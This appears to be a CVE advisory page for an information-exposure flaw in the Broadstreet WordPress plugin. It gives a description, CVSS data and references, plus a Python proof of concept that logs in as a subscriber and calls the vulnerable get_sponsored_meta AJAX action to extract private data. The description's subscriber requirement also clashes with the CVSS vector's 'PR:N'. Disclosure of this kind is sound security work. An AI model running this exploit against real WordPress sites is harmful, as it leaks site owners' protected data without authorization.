CVE-2025-9987

Description

The Broadstreet plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.53.1 via the get_sponsored_meta() AJAX action. This makes it possible for authenticated attackers, with subscriber-level access and above, to extract data from password protected and private business details.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Broadstreet <= 1.53.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"
username = "subscriber"  # Low-privilege user
password = "password"

# Create a session to handle cookies
session = requests.Session()

# Step 1: Authenticate as a subscriber
login_url = "http://example.com/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "redirect_to": "",
    "wp-submit": "Log In",
    "testcookie": "1"
}
session.post(login_url, data=login_data)

# Step 2: Exploit the vulnerable AJAX action
# The vulnerability is in the 'get_sponsored_meta' action
payload = {
    "action": "get_sponsored_meta",
    "id": "1"  # Target ID, may vary based on plugin data structure
}

response = session.post(target_url, data=payload)

if response.status_code == 200:
    print("[+] Request sent successfully.")
    print("[+] Response:")
    print(response.text)
else:
    print("[-] Failed to send request.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9987
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9987
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9987/
[4] VulDB https://vuldb.com/cve/CVE-2025-9987
[5] https://plugins.trac.wordpress.org/changeset/3524817
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/b3cc3835-25f5-43b3-82be-397b8b3bd369?source=cve

Raw JSON Data

JSON

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